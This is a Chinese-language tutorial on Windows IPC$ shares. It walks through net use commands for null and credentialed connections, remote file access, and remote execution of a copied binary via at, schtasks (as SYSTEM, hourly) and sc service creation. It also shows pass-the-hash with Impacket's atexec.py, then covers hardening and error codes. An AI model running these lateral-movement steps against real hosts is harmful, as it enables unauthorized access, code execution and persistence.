IPC$共享连接技术详解
常见共享命令汇总
net use # 查看本机对外连接
net session # 查看其他机器对本机的连接(需管理员权限)
net share # 查看本地共享
net share ipc$ # 开启ipc$共享
net share ipc$ /del # 删除ipc$共享
net share admin$ /del # 删除admin$共享
net share c$ /del # 删除C盘共享
net share d$ /del # 删除D盘共享
net use * /del # 删除所有连接
net use \\\\192.168.10.15 # 建立IPC空连接
net use \\\\192.168.10.15\\ipc$ # 建立IPC空连接
net use \\\\192.168.10.15\\ipc$ /u:"" "" # 指定空用户建立IPC空连接
net view \\\\192.168.10.15 # 查看远程主机默认共享
net use \\\\192.168.10.15 /u:"administrator" "root" # 使用凭据建立IPC连接
net use \\\\192.168.10.15 /del # 删除指定IPC连接
net time \\\\192.168.10.15 # 查看目标主机系统时间
net use \\\\192.168.10.15\\c$ /u:"administrator" "root" # 建立C盘共享连接
dir \\\\192.168.10.15\\c$ # 查看C盘文件
dir \\\\192.168.10.15\\c$\\user # 查看C盘user目录
dir \\\\192.168.10.15\\c$\\user\\test.exe # 查看test.exe文件
net use \\\\192.168.10.15\\c$ /del # 删除C盘共享连接
net use k: \\\\192.168.10.15\\c$ /u:"administrator" "root" # 映射远程C盘到本地K盘
net use k: /del # 删除磁盘映射
IPC$共享机制解析
IPC$(Internet Process Connection)是Windows系统用于进程间通信的命名管道共享机制,支持通过可信用户名和密码建立安全通道,实现远程计算机访问。该功能在Windows NT/2000及以上系统中引入,同一时间仅允许两个IP间建立单一连接。
系统默认开启IPC$、ADMIN$及各逻辑驱动器(C$、D$等)共享,便于管理员远程管理。这些共享为隐藏资源,仅管理员可进行远程操作。可通过执行net share命令查看当前系统开启的共享列表。
所有共享服务依赖139或445端口运行。其中,139端口基于NBT(NetBIOS over TCP/IP)协议,445端口可直接承载SMB服务。Windows 2000以后系统优先尝试445端口通信,若无响应则回退至139端口。
IPC$连接利用条件
1. 开放139/445端口
SMB服务用于文件与打印共享,早期基于NBT使用139端口;现代Windows系统支持通过445端口直接传输。若目标主机未监听139或445端口,IPC$会话无法建立。
客户端连接时会优先尝试445端口,失败后可能回退至139端口。若NBT被禁用,则仅使用445端口通信。
2. 目标主机开启IPC$共享
默认情况下,Windows系统自动启用IPC$及其他管理共享。可通过net share命令验证共享状态。若共享被手动关闭或策略限制,连接将失败。
3. 连接失败常见原因
若目标未开放139或445端口,连接将提示“找不到网络路径”。典型错误包括端口未监听、防火墙拦截、服务未启动等。
IPC$空连接应用
空连接指在未提供用户名和密码的情况下建立的IPC会话,利用NTLM认证机制中的匿名访问特性。早期可通过空连接获取用户列表、组信息等敏感数据。
net use \\\\192.168.10.15
net use \\\\192.168.10.15 /u:"" ""
net use \\\\192.168.10.15\\ipc$ /u:"" ""
空连接的局限性
自Windows Server 2003起,空连接权限被大幅限制,通常无法获取有效信息或执行操作。多数现代系统默认禁止空密码登录,导致此类连接实用性极低。
IPC$非空连接实践
使用合法账户凭据建立的非空连接可获得对应权限,管理员账户拥有完整控制权。
net use \\\\192.168.10.131 /u:"administrator" "密码"
非空连接可执行操作
- 管理员账户可通过IPC$执行远程命令、文件操作及系统管理任务。
- 普通用户权限受限,通常仅可使用
net time命令查看远程系统时间。
dir命令(查看文件与目录)
连接后可通过dir \\\\IP\\C$方式浏览远程文件系统,并进行文件的增删改查操作。
tasklist命令(查看进程)
通过tasklist /S IP /U 用户名 /P 密码可远程获取目标系统运行进程列表。
tasklist /S 192.168.10.131 /U administrator -P 密码
at命令(计划任务,可实现远程控制)
- 获取目标时间:
net time \\\\192.168.10.131 - 复制文件至目标:
copy vps.exe \\\\192.168.10.131\\c$ - 创建定时任务执行程序:
at \\\\192.168.10.131 17:00:00 C:\\vps.exe
利用计划任务可实现远程代码执行,包括反弹Shell等高级操作。
Windows系统中的计划任务与IPC$共享安全管理
schtasks(计划任务)管理
自Windows Vista及Windows Server 2008起,系统已弃用at命令,转而采用功能更灵活的schtasks命令。该命令操作会生成日志文件,路径为:C:\Windows\Tasks\SchedLgU.txt
在目标主机192.168.10.131创建名为test的计划任务,每小时执行一次C:\vps.exe,以system权限运行:schtasks /create /s 192.168.10.131 /tn test /sc HOURLY /mo 1 /tr c:\vps.exe /ru system /f常用触发条件参数:/sc onlogon 用户登录时启动/sc onstart 系统启动时启动/sc onidle 系统空闲时启动查询test任务状态:schtasks /query | findstr test手动启动test任务:schtasks /run /s 192.168.10.131 /i /tn "test"删除test任务:schtasks /delete /s 192.168.10.131 /tn "test" /f使用sc命令创建服务任务示例:copy test.exe \\192.168.10.20\c$sc \\192.168.10.20 create test binpath= "c:\test.exe"sc \\192.168.10.20 start testsc \\192.168.10.20 delete test




Impacket工具中的atexec.py应用
Impacket框架中的atexec.py脚本,通过调用远程系统的计划任务服务实现命令执行,适用于Windows Vista及以上系统,前提是目标主机已开启IPC$共享。该工具可远程执行命令并回显结果
./atexec.py xie/hack:x123456.@192.168.10.130 whoami./atexec.py xie/hack:@192.168.10.130 whoami -hashes aada8eda23213c027743e6c498d751aa:b98e75b5ff7a3d3ff05e07f211ebe7a8

关闭IPC$及其他默认共享
鉴于IPC$共享存在安全风险且对多数用户非必要,建议关闭相关共享以提升系统安全性
1、通过命令行关闭默认共享:
net share ipc$ /delete 关闭IPC$默认共享net share c$ /delete 关闭C盘默认共享net share admin$ /delete 关闭admin$默认共享

2、通过注册表限制匿名访问:
-
注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -
键值名称:restrictanonymous -
类型:REG_DWORD -
取值说明:0x0(默认),0x1(禁止匿名列举用户),0x2(禁止匿名连接IPC$)。建议设置为0x1,避免影响SQL Server等服务运行
IPC$连接失败原因与常见错误码解析
连接失败常见原因
-
用户名或密码错误 -
目标主机未启用IPC$共享 -
无法访问目标主机139或445端口 -
命令输入存在语法错误
常见错误代码说明
-
错误5:拒绝访问 -
错误51:网络路径不可达,通常为网络问题 -
错误53:路径未找到,可能因IP错误、主机未开机、Server服务未启动或防火墙拦截所致 -
错误67:网络名不存在,常见于Workstation服务未启动或IPC$已被删除 -
错误1219:凭据冲突,表示已存在相同目标的连接,需先删除原有会话 -
错误1326:用户名或密码无效 -
错误1792:网络登录服务未启动,多见于连接域控制器时NetLogon服务异常 -
错误2242:用户密码已过期


